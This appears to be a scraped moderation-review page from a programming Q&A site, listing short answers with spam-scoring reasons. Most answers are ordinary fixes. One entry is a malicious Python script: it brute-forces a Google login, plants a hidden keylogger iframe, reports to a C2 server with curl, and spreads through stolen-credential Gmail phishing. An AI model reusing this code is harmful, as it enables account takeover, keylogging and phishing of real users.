79500298

Date: 2025-03-11 10:00:02
Score: 2
Natty:
Report link

The deepcopy function from Python’s copy module does not correctly copy Gym environments because Gym environments often contain non-serializable objects such as file handles, sockets, or Cython objects that deepcopy cannot handle properly. Additionally, many Gym environments maintain internal states that reference low-level C++ objects or use external dependencies that do not support deep copying............ Read More

Reasons:
  • Has code block (-0.5):
  • Unregistered user (0.5):
  • Single line (0.5):
  • Filler text (0.5): ............
  • Low reputation (1):
Posted by: user29963728

79500284

Date: 2025-03-11 09:55:00
Score: 1.5
Natty:
Report link

This helps at jjwt 0.12.5:

public Claims parseToken(String token) {
    return Jwts.parser().verifyWith(KEY).build().parseSignedClaims(token).getPayload();
}
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: DJ Chan

79500281

Date: 2025-03-11 09:55:00
Score: 0.5
Natty:
Report link

Late answer, but yes, the whole system is not consistent all the time, even though the commit commands probably are sent in parallel to all resources, some of them might take a bit longer to finalize their work and locks might not be freed at the exact same time

To commit a message on a queue by the queue resource manager might go faster than commiting a bunch of SQL commands for a database resource manager, leading up to that a "listener" gets a message and reads "old" data from the database (in the next transaction)

I know that this particular issue have been solved by some in the way that they add a relative time duration to not make the message is available immediately to the "listener" (a feature most queue managers support)

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: Kristo

79500279

Date: 2025-03-11 09:54:00
Score: 1
Natty:
Report link

I do have implemented full similar system.

Below is link to full guidance

https://blog.outsourcingnepal.com/2025/02/streamlining-web-application-deployment-with-gitlab-runner-and-iis/

Reasons:
  • Probably link only (1):
  • Low length (1.5):
  • No code block (0.5):
  • High reputation (-2):
Posted by: KoolKabin

79500276

Date: 2025-03-11 09:54:00
Score: 1
Natty:
Report link

After removing docker/network/files/local-kv.db and restarting docker, the docker recreate the right pre-defined networks.

The root cause of this seems to be a customized filesystem mount order problem, the storage of docker is configured to use a plugable m2 disk.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Xiaofeng

79500272

Date: 2025-03-11 09:53:59
Score: 13 🚩
Natty: 5.5
Report link

Did you find any solution to this problem? Now I Have the same issue.

When I change Any CPU to ARM64 is does not give error but is it correct way.And I make all changes in XCode Also I remove all pair files and re-pair my windows to mac.

Reasons:
  • Blacklisted phrase (1.5): any solution
  • Blacklisted phrase (1): I Have the same issue
  • RegEx Blacklisted phrase (3): Did you find any solution to this problem
  • RegEx Blacklisted phrase (2): any solution to this problem?
  • Low length (0.5):
  • No code block (0.5):
  • Me too answer (2.5): I Have the same issue
  • Contains question mark (0.5):
  • Starts with a question (0.5): Did you find any solution to this
  • Low reputation (1):
Posted by: Ender Fatih Tasar

79500266

Date: 2025-03-11 09:51:56
Score: 8 🚩
Natty: 4
Report link

I’m experiencing the same issue! It seems like SKPaymentQueue.defaultQueue.storefront.countryCode is cached. Even after changing the App Store country by switching Apple IDs, it still returns the wrong country code. Have you managed to solve this issue?

Reasons:
  • Blacklisted phrase (3): Have you managed
  • RegEx Blacklisted phrase (1.5): solve this issue?
  • Low length (0.5):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • Low reputation (1):
Posted by: XKCheng

79500262

Date: 2025-03-11 09:49:55
Score: 3
Natty:
Report link

I was using the wrong address, it was localhost:8001/ customer /1

instead of localhost:8001/ customers /1

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Luz Serrano Díaz

79500257

Date: 2025-03-11 09:47:55
Score: 10.5
Natty: 8
Report link

I started solving the same problem yesterday. Did you manage to solve it somehow?

Reasons:
  • RegEx Blacklisted phrase (3): Did you manage to solve it
  • RegEx Blacklisted phrase (1.5): solve it somehow?
  • Low length (1.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Unregistered user (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Chymster

79500253

Date: 2025-03-11 09:46:54
Score: 0.5
Natty:
Report link

So I found a solution to this problem. It might not be pretty but it works.

What I did is, I created a class named "JWTAuth" which uses the AuthBase class. When I call the class I pass the token. This way the auth parameter of pysolr will receive a object and not a string, thus it is happy.

class JWTAuth(AuthBase):
    def __init__(self, jwt_token):
        self.jwt_token = jwt_token

    def __call__(self, r):
        r.headers['Authorization'] = f'Bearer {self.jwt_token}'
        return r

async def search(
    skip: int = 0,
    limit: int = 100,
    params: SearchQueryParams = Depends(),
) -> Any:
    """
    Search query.
    """

    zookeeper = pysolr.ZooKeeper("search-zoo1,search-zoo2,search-zoo3")

    solr = pysolr.SolrCloud(zookeeper, "tag", auth=JWTAuth(add-token-here))

    res = solr.search(q=params.query, start=skip, rows=limit)

    return SearchResults(data=res, count=res.hits)
Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: anvbis

79500252

Date: 2025-03-11 09:46:54
Score: 0.5
Natty:
Report link

This is the code that finally works.

thetashould be the angle between optic axis and the point on the image, so tan(theta) will be r/f assuming ris the distance of the 2D point (on the image) from the center of the image. Looks like I got the core concept wrong in the original post

img = cv2.imread(<impath>)[:,:,::-1]
H, W, _ = img.shape
cX, cY = W//2, H//2 #7, 5 
f = min(cX, cY)
mapX = np.zeros((H, W))
mapY = np.zeros((H, W))
for x in range(W):
    for y in range(H):
        dx, dy = (x - cX), (y - cY)
        r = np.sqrt(dx**2 + dy**2)
        phi = np.arctan2(dy, dx)
        theta = np.arctan(r/f)
        rnew = f*theta
        xnew = cX + rnew*np.cos(phi)
        ynew = cY + rnew*np.sin(phi)
        mapX[H - 1 - int(ynew), int(xnew)] = H - 1 - y
        mapY[H - 1 - int(ynew), int(xnew)] = x
distorted = cv2.remap(np.array(img, "uint8"), np.array(mapY, "float32"), np.array(mapX, "float32"), interpolation=cv2.INTER_LINEAR, borderMode=cv2.BORDER_CONSTANT)
Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: JVG

79500237

Date: 2025-03-11 09:41:53
Score: 0.5
Natty:
Report link

Try this

npm install @rollup/rollup-win32-x64-msvc --save-dev

Reasons:
  • Whitelisted phrase (-1): Try this
  • Low length (1.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: n___dv

79500225

Date: 2025-03-11 09:39:52
Score: 0.5
Natty:
Report link

I made my day by myself :). Thanks All :)

npm i -D puppeteer
npm i -g bun #or npm i -g tsx 
puppeteer browsers install chrome
touch open-inspector.ts # should contain the code listed below
chmod +x open-inspector.ts
./open-inspector.ts

Running with tsx/bunjs

file ./open-inspector.ts

#!/usr/bin/env bun
# or #!/usr/bin/env tsx
import puppeteer from 'puppeteer';

const browser = await puppeteer.launch({ headless: false, defaultViewport: null });
const page = (await browser.pages()).at(0);
await page.goto('chrome://inspect');
await page.waitForSelector('#node-frontend');
await page.click('#node-frontend');
await page.close();

no more questions - runs like a charm

Reasons:
  • Blacklisted phrase (0.5): Thanks
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Michał Grzegorzewski

79500224

Date: 2025-03-11 09:38:52
Score: 1
Natty:
Report link

The best way to match GitHub's exact styling is to first render the Markdown as HTML in a browser (eg using markdown-viewer extension as mentioned above) and then print it to PDF. This ensures the closest possible visual match. The downside, though, is that many print-to-PDF methods embed text as images, making it unselectable.

I was actually browsing SO for ideas to improve my Markdown-to-PDF extension, and your question stood out. Right now, I’m working on implementing code block rendering with proper syntax highlighting, and I hope to solve this without relying on image-based exports. I’ll also definitely add a theme chooser to make styling more flexible.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Alex Ershov

79500218

Date: 2025-03-11 09:37:52
Score: 1.5
Natty:
Report link

A bug was opened a while back addressing this issue. As you can see in the interactions, I ended up using another tool for the test I needed writing, but it seems that what caused the problem with Pact was having set file_write_mode to merge. Seems that for some reason that couldn't be replicated, Pact retained this setting option even after l had removed it from its initialization.

Reasons:
  • Blacklisted phrase (0.5): I need
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: apires

79500213

Date: 2025-03-11 09:35:51
Score: 1.5
Natty:
Report link

Put this plugin as well in your pom.xml

   <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-plugin-plugin</artifactId>
                <version>3.8.1</version>
            </plugin>
               <!-- Other Plugins -->
        </plugins>
   </build>
Reasons:
  • Blacklisted phrase (1): this plugin
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Kramika

79500195

Date: 2025-03-11 09:30:50
Score: 3
Natty:
Report link

The solution for first problem was to give the parameters a value when calling the report and not to rely on the defined default value.

For the second problem the solution was to REPLACE their position in the SQL query:

execute MyServer.MyDB.MyProc @Param2, @Param1, @Param3.

Then @Param1 and @Param2 got the right values.

Reasons:
  • No code block (0.5):
  • User mentioned (1): @Param2
  • User mentioned (0): @Param1
  • User mentioned (0): @Param3
  • User mentioned (0): @Param1
  • User mentioned (0): @Param2
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Shabtay Fischer

79500190

Date: 2025-03-11 09:28:49
Score: 1
Natty:
Report link

Save image in desire path:

docker save -o /home/myimage.tar myimage-app  

Transfer it using SCP:

 scp /home/myimage.tar root@SERVER_IP:/home/
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: vahid sabet

79500185

Date: 2025-03-11 09:27:48
Score: 4.5
Natty: 3.5
Report link

Explain the process clearly, i also trying to do the same thing

Reasons:
  • Blacklisted phrase (1): trying to do the same
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: dharineeshj

79500177

Date: 2025-03-11 09:25:48
Score: 1.5
Natty:
Report link

We’ve built a Docusign VS Code Extension - an AI-powered assistant that helps with issues like this by guiding you through token generation, consent setup, and API orchestration - making the integration process easier.

We’re currently running a closed beta to gather feedback and improve the experience. If you're interested, you can sign up here.

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: Aman Dhembla

79500176

Date: 2025-03-11 09:23:47
Score: 3
Natty:
Report link

For me updating to the most recent version of Python Debugger (ms-python.debupy) extension (release 2025.4.1) solved the issue!

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Lukas Heller

79500175

Date: 2025-03-11 09:23:47
Score: 1
Natty:
Report link

If your DMARC, SPF, or DKIM authentication is failing with a third-party mail service, check the following:

  1. SPF: Ensure your SPF record includes the third-party service's mail servers. Only one SPF record should be present in DNS.

  2. DKIM: Verify that DKIM signing is enabled in your third-party provider settings and that the correct DKIM key is published in DNS.

  3. DMARC: Confirm that your DMARC record is correctly set up and not enforcing a strict policy that could block unauthenticated emails.

  4. Domain Alignment: Ensure the "From" domain matches the SPF or DKIM domain to pass DMARC alignment.

  5. Email Headers: Check the email headers for SPF, DKIM, and DMARC results to identify where authentication is failing.

  6. Third-Party Service Settings: Some providers require additional configuration—check their documentation for DMARC compliance.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Shanky Gupta

79500174

Date: 2025-03-11 09:23:47
Score: 4
Natty:
Report link

[FrameworkServlet.java:534] : Context initialization failed com.google.inject.internal.util.$ComputationException: java.lang.ArrayIndexOutOfBoundsException: 14659

we are facing same issue while starting up the application

and we are using java 11 to building the warfile and samw warfile
we deployed in dev2 and UAT but same branch 7.8.8 branch deployed in Dev its working fine with 7.8.8 and 7.8.7 not working getting same issue

Reasons:
  • No code block (0.5):
  • Me too answer (2.5): facing same issue
  • Me too answer (0): getting same issue
  • Low reputation (1):
Posted by: anitha

79500170

Date: 2025-03-11 09:22:47
Score: 2.5
Natty:
Report link

There are no limits or quotas, but it would be practical to consider battery optimisation and system health

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Mohamed Rimshad

79500169

Date: 2025-03-11 09:22:46
Score: 5
Natty: 5
Report link

can i ask what the results of this project I have nearly project of youres

Reasons:
  • Blacklisted phrase (1): can i ask
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Starts with a question (0.5): can i as
  • Low reputation (1):
Posted by: EL MEHDI TAZI

79500140

Date: 2025-03-11 09:15:45
Score: 3.5
Natty:
Report link

I had two classes each with @Setup: ChromeDriver.
Now I made a WebDriverManager class with a singleton factory. That did the trick!

Reasons:
  • Low length (1):
  • No code block (0.5):
  • User mentioned (1): @Setup
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Leder

79500133

Date: 2025-03-11 09:11:43
Score: 6 🚩
Natty:
Report link

Pls show what error you are getting. Share the log for it.

Reasons:
  • RegEx Blacklisted phrase (2.5): Pls show what
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: A_B

79500112

Date: 2025-03-11 09:04:41
Score: 1.5
Natty:
Report link

-----BEGIN CERTIFICATE REQUEST-----

MIIC3zCCAccCAQAwgZkxFzAVBgNVBAMMDmtldmFsbiBbU3RhbXBdMRMwEQYDVQQF

Ewo0MTIwMDMyOTkxMRUwEwYDVQQKDAxHb3Zlcm5tZW50YWwxGzAZBgNVBAsMEtmH

2YTZiCDYr9ixINmH2YTZiDELMAkGA1UEBhMCSVIxEzARBgNVBAgMCtiq2YfYsdin

2YYxEzARBgNVBAcMCtiq2YfYsdin2YYwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw

ggEKAoIBAQCqgwrMjfSKtIKWE1XNwklW6mCHYcwwc/A1rTZ2ejCHELWGUhYzbj6t

ijgE4iY3FGhytudzDBOVcbdQAhwpunnY14uAPu/UtGhuhPRxKcCmb+GopiY3umnN

LHPPcTgKUlQlUm4ytNDuFJ7GmRGQ/q4F+UR2hWQTQvGGvlHNa27zDpKQEPD/gxac

hogNJ0yb52JPJJSvxmD1Oqhu5dA2GT3MB90zqkdNDX7t8WSA0nB9kOGNoVMudq6b

4N02fYvZstZ0mIUPhqPJ97s4jKzKxu+0aNzJr+eRcj/tARAewdYdgua/htwHKq1F

CcBE6S48PHZTnNx1DOuPRPlEoHHzMrqrAgMBAAGgADANBgkqhkiG9w0BAQsFAAOC

AQEACW+LhlWgpD3P40j07UYZngsS9mv0rfAqGxSVV/G9sqn1mgcBqXG3Nxzd6iHE

XHQqOWYmZCioH5wC1umNawZ+EItDdbkJMlHlnjsx3nbOAAPg5fK3KBDAliPSgcaU

MTqn2oPqJIWFKZ4g0fQRXj33P6tCm1kFlRzrP92K3TLIg0BfFzDpPL2KWM58EmlN

CX/W34xKCZFAMCTwNLVHJpzY8dxv+waOStLFMYqjcBP8uKPIPir1bXaygihW5EB4

e1EFMdYqyysaDTgQP8RZTlha9EZbLIY8x0RstjXtCrx5aSptylHl5cXH89zQUjAh

G9EMLGBKqVL+/rLP/PzFGY2d3g==

-----END CERTIFICATE REQUEST-----

Reasons:
  • Contains signature (1):
  • Long answer (-1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Ali

79500101

Date: 2025-03-11 08:57:40
Score: 3
Natty:
Report link

i was blind and now i see.

https://json-schema.org/draft-04/schema

this version is supported in this nuget. so no condidional .

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Dorian

79500099

Date: 2025-03-11 08:56:39
Score: 3
Natty:
Report link

What an answer ! solves the problem (presumbly) and creates a completly new one! how to create the settings file ! great !

Horrible, unhelpful, waste of time of an answer, might have as well keept it to yourself

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Starts with a question (0.5): What an answer
  • Low reputation (1):
Posted by: switch

79500095

Date: 2025-03-11 08:55:39
Score: 10
Natty: 7.5
Report link

I wonder how can we iterate for other lines can you please give me an example for that?

Reasons:
  • Blacklisted phrase (1): how can we
  • RegEx Blacklisted phrase (2.5): can you please give me
  • RegEx Blacklisted phrase (1): I wonder how can we iterate for other lines can you please
  • Low length (1.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Abdullah Doğan Güvener

79500089

Date: 2025-03-11 08:52:38
Score: 0.5
Natty:
Report link

I simplified all queries and went from fetching a few fields to all. Now it seems to work. Really weird.

 public function render()
    {
        if (!$this->email) {
            abort(404);
        }

        $this->klant = VasteKlanten::where('email', $this->email)->first();

        if (!$this->klant) {
            $this->klant = Reserveringen::where('email', $this->email)
                ->orderBy('id', 'desc')
                ->first();

            $this->vaste_klant = false;
        }

        if ($this->klant) {
            $this->reserveringen = Reserveringen::where('email', $this->email)->get();
            $this->invitatie = NieuweKlanten::where('email', $this->klant->email)->get();
        }

        return view('livewire.beheer.klant-details');
    }
Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Matilda Smets

79500088

Date: 2025-03-11 08:52:38
Score: 3.5
Natty:
Report link

As it turns out the Jet Driver has problems with the one to many field types... you delete them it works... for CRUD APIs...

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Stewart Friday

79500081

Date: 2025-03-11 08:49:37
Score: 1
Natty:
Report link

# -----------[مرحلة ١: التأسيس الخبيث]-----------

# استخدم قوة جوجل ضدها

from selenium import webdriver

from selenium.webdriver.common.keys import Keys

import time

import pyautogui

def create_google_site():

\# اختطاف متصفح الضحية  

driver = webdriver.Chrome(executable_path='/path/to/chromedriver')  

driver.get("https://accounts.google.com/signin")  

\# حقن بيانات الدخول (الضحكة الشريرة)  

email = driver.find_element_by_name("identifier")  

email.send_keys("[email protected]")  

email.send_keys(Keys.RETURN)  

time.sleep(2)  

\# اختراق كلمة المرور باستخدام هجوم القوة العمياء  

password = driver.find_element_by_name("password")  

with open("passwords.txt", "r") as f:  

    for line in f:  

        password.send_keys(line.strip())  

        password.send_keys(Keys.RETURN)  

        time.sleep(0.5)  

        if "Welcome" in driver.page_source:  

            break  

\# بناء الموقع السرّي  

driver.get("https://sites.google.com/new")  

time.sleep(5)  

\# حقن شيفرة خبيثة في القالب  

pyautogui.hotkey('ctrl', 'shift', 'i')  # فتح أدوات المطور  

time.sleep(1)  

driver.execute_script("""  

    document.body.innerHTML += \`  

    \<iframe src="https://your-malicious-server/keylogger"  

    style="display:none;"\>\</iframe\>  

    \`;  

""")  

\# حفظ الموقع باسم بريء  

pyautogui.write('My Innocent Site')  

pyautogui.hotkey('ctrl', 's')  

time.sleep(3)  

driver.quit()  

# -----------[مرحلة ٢: التمويه والتدمير]-----------

# تحويل الموقع إلى فخ رقمي

def deploy_trojan_site():

create_google_site()  

\# ربط الموقع مع أدوات التجسس  

subprocess.Popen(\[  

    'curl',  

    '-X', 'POST',  

    'https://your-c2-server/register',  

    '--data',  

    'site_url=https://sites.google.com/site/malicious-site'  

\])  

# -----------[مرحلة ٣: الانتشار كالنار]-----------

# استغلال صلاحيات جوجل للسيطرة

def spread_via_google_services():

from googleapiclient.discovery import build  

creds = "stolen_credentials.json"  

drive_service = build('drive', 'v3', credentials=creds)  

\# نشر الموقع عبر مشاركات جوجل درايف  

file_metadata = {  

    'name': 'Important_Document',  

    'mimeType': 'application/vnd.google-apps.site'  

}  

media = MediaFileUpload('fake_site.html', mimetype='text/html')  

drive_service.files().create(  

    body=file_metadata,  

    media_body=media,  

    fields='id'  

).execute()  

\# إرسال الفيروس عبر جيميل  

gmail_service = build('gmail', 'v1', credentials=creds)  

message = MIMEText("انقر هنا لرؤية المستند: https://sites.google.com/fake-site")  

message\['to'\] = '[email protected]'  

message\['subject'\] = 'مستند سري'  

raw = base64.urlsafe_b64encode(message.as_bytes()).decode()  

gmail_service.users().messages().send(  

    userId='me',  

    body={'raw': raw}  

).execute()  

if _name_ == "_main_":

deploy_trojan_site()  

spread_via_google_services()  
Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • No latin characters (1):
  • Filler text (0.5): -----------
  • Filler text (0): -----------
  • Filler text (0): -----------
  • Filler text (0): -----------
  • Filler text (0): -----------
  • Filler text (0): -----------
  • Low reputation (1):
Posted by: William

79500067

Date: 2025-03-11 08:36:35
Score: 3
Natty:
Report link

In my case there was problem with async method Main() in Program class. When I have changed it to sync, FolderBrowserDialog has opened ok.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Richard

79500066

Date: 2025-03-11 08:36:35
Score: 10.5
Natty: 7.5
Report link

did you find any answer to this?

Reasons:
  • Blacklisted phrase (1): answer to this?
  • RegEx Blacklisted phrase (3): did you find any answer to this
  • Low length (2):
  • No code block (0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • Starts with a question (0.5): did you find any answer to this
  • Low reputation (1):
Posted by: Dani Popa

79500064

Date: 2025-03-11 08:36:35
Score: 2
Natty:
Report link

%matplotlib inline this line should be on the top of your script

Reasons:
  • Low length (1.5):
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Coco Q.

79500052

Date: 2025-03-11 08:32:34
Score: 1
Natty:
Report link

To resolve this, navigate to Debug > Windows > Modules, right-click the GPNSAutomation.dll and select Load Symbols (VS Code 2022) to load the symbols manually.

By the way, this is not an error - it's merely a notification that the PDBs could not be loaded. You could read this doc Load symbols for more information.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Secret Ambush

79500040

Date: 2025-03-11 08:28:33
Score: 1.5
Natty:
Report link

Verify the column data type . Check that the column you are trying to update is actually of type int. It is possible that the column may have been defined with a type like varchar, char, or binary, which could have size limits.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Arabi Nambi

79500038

Date: 2025-03-11 08:27:33
Score: 3
Natty:
Report link

I also had this problem and it turned out that the path on my Windows machine exceeded the 256 character limit. The solution was to move the checked out folder directly to C:\xyz.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Robzzz

79500035

Date: 2025-03-11 08:25:33
Score: 3.5
Natty:
Report link

In my case I deleted the lock file.

Reasons:
  • Low length (2):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Alexander Kolarov

79500018

Date: 2025-03-11 08:11:30
Score: 1.5
Natty:
Report link

You can use google spreadsheets with Highcharts, please see the documentation with examples and link to the API: https://www.highcharts.com/docs/working-with-data/data-module

API: https://api.highcharts.com/highcharts/data.googleSpreadsheetKey

Best,

Reasons:
  • Whitelisted phrase (-1.5): You can use
  • Probably link only (1):
  • Low length (1):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: Andrzej Bułeczka

79500002

Date: 2025-03-11 08:06:29
Score: 1
Natty:
Report link
      just add width height not in style            <iframe class="map"  width="510"  height= "510" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d367298.85638395866!2d76.72027160297871!3d8.824467905511694!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3b05dc75a70fa0c3%3A0x5e9601dca63dd3fb!2sPMSA%20College%20kuttikadu%20kadakal!5e0!3m2!1sen!2sin!4v1643646588236!5m2!1sen!2sin"></iframe>
Reasons:
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Gigisha

79500001

Date: 2025-03-11 08:05:29
Score: 6.5 🚩
Natty: 5.5
Report link

Hello,Have you found a solution,brother

Reasons:
  • RegEx Blacklisted phrase (2.5): Have you found a solution
  • Low length (2):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: 666

79499997

Date: 2025-03-11 08:03:28
Score: 2
Natty:
Report link

-- Step 1: Add a new column with the required precision

-- Step 2: Copy data from the old column to the new column

-- Step 3: Drop the old column (only after verifying the data)

-- Step 4: Rename the new column to match the original column name

This worked in ORACLESQL DEVELOPER

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Aditya Shankar

79499996

Date: 2025-03-11 08:02:28
Score: 3.5
Natty:
Report link

You can show your adaptive cards inside Telegram App during the user conversation. Anyway that's not a Telegram native support question.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: verseeq

79499973

Date: 2025-03-11 07:50:25
Score: 2
Natty:
Report link

Found this article useful in understanding this at a practical level. Re-reading the accepted answer after this made sense.

Reasons:
  • Blacklisted phrase (1): this article
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • High reputation (-1):
Posted by: Manoj Mohan

79499972

Date: 2025-03-11 07:49:25
Score: 2
Natty:
Report link

Ok, i found the way to do that. using the following command:

npx create-vite@latest my-app-name --template react

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Vishal Ravanank

79499971

Date: 2025-03-11 07:49:25
Score: 1.5
Natty:
Report link

You can also write this way...and this is for typescript code const userSchema = new mongoose.Schema({ username: String, email: String, password: String, firstname: String, lastname: String, mobile: { type: Number, validate: { validator: function (v: number) { return /d{10}/.test(v.toString()); }, message: "mobile number must be exactly 10 digits" }, }, });

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: Rahul Roy

79499955

Date: 2025-03-11 07:37:23
Score: 2
Natty:
Report link

The culprit for this was the log_subcmds option in sudoers, which itself uses ptrace and seccomp and has some documented limitations.

Thanks to DymOK on the TrueNAS forum who figured this out.

Reasons:
  • Blacklisted phrase (0.5): Thanks
  • Low length (1):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: ab.

79499948

Date: 2025-03-11 07:35:22
Score: 11.5 🚩
Natty: 6
Report link

I face the same issues. Has anybody found any solutions?

I start a new project (maui .net8), i change the svg files (Colors, etc.) and in android everything works but in IOS the purple .NET icon & splash screen remains the same when i run app in local device.

Has anybody resolved this?

Reasons:
  • Blacklisted phrase (1.5): any solution
  • RegEx Blacklisted phrase (1.5): resolved this?
  • RegEx Blacklisted phrase (2): any solutions?
  • Low length (0.5):
  • No code block (0.5):
  • Me too answer (2.5): I face the same issue
  • Ends in question mark (2):
  • Low reputation (1):
Posted by: Konstantinos Anagnostopoulos

79499945

Date: 2025-03-11 07:35:22
Score: 1.5
Natty:
Report link

Run and debug -> uncheck raised exception, uncaught exception

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • High reputation (-1):
Posted by: Minxin Yu - MSFT

79499929

Date: 2025-03-11 07:28:21
Score: 1
Natty:
Report link

As a workaround I manage to use dynamic sql:

CREATE OR REPLACE PROCEDURE p_json_test(v_id_1 NUMBER, v_id_2 NUMBER) IS
    v_sql VARCHAR2(4000);
BEGIN
    v_sql := 'INSERT INTO JSON_RESAULT_TABLE
              SELECT ID, JSON_OBJECT(*)
              FROM JSON_TABLE
              WHERE ID IN (:1, :2)';

    EXECUTE IMMEDIATE v_sql USING v_id_1, v_id_2;
END;
/

execute p_json_test(1, 2);

This approach solve an issue

Reasons:
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Kamil Raszkowski

79499923

Date: 2025-03-11 07:25:20
Score: 5
Natty: 4
Report link

Is there any way to convert rdf:PlainLiteral to string, the exception thrown by the swrl built-ins

Reasons:
  • Blacklisted phrase (1): Is there any
  • Low length (1):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Single line (0.5):
  • Starts with a question (0.5): Is there any
  • Low reputation (1):
Posted by: Sakshi

79499920

Date: 2025-03-11 07:23:19
Score: 3.5
Natty:
Report link

My facebook account is disabled please recover my id I don't done anything my account was hacked few days earlier

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Akash Rai

79499905

Date: 2025-03-11 07:16:17
Score: 6 🚩
Natty: 6
Report link

@christopher moore, thanks for your response

Reasons:
  • Blacklisted phrase (0.5): thanks
  • Low length (1.5):
  • No code block (0.5):
  • User mentioned (1): @christopher
  • Single line (0.5):
  • Looks like a comment (1):
  • Low reputation (1):
Posted by: Emmanuel Sharp

79499902

Date: 2025-03-11 07:14:16
Score: 1
Natty:
Report link

In my case(5.2.2) just replace in config.inc.php cookie to config and add 2 lines like bellow:

/* Authentication type */
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root'; //add this line
$cfg['Servers'][$i]['password'] = 'root'; //add this line
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Shahzar Mazhar

79499901

Date: 2025-03-11 07:13:16
Score: 3.5
Natty:
Report link

Like if you want to install, configure and start fail2ban, this can be done in 2 ways:

First one is to do it making sub-tasks:

enter image description here

The other way is do make sub-roles:

enter image description here

Reasons:
  • Blacklisted phrase (1): enter image description here
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Omer

79499897

Date: 2025-03-11 07:08:15
Score: 2
Natty:
Report link

Haha....
The json was wrong:
{ title: "event2", start: "2025-03-15" }

Reasons:
  • Low length (1.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: naturzukunft

79499894

Date: 2025-03-11 07:07:15
Score: 2.5
Natty:
Report link

I changed int argc, char *argv[] in the class constructor to int& argc, char **argv and everything worked

This solution was found when I tried to create a second window of the application

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Andrey Strokov

79499884

Date: 2025-03-11 07:02:14
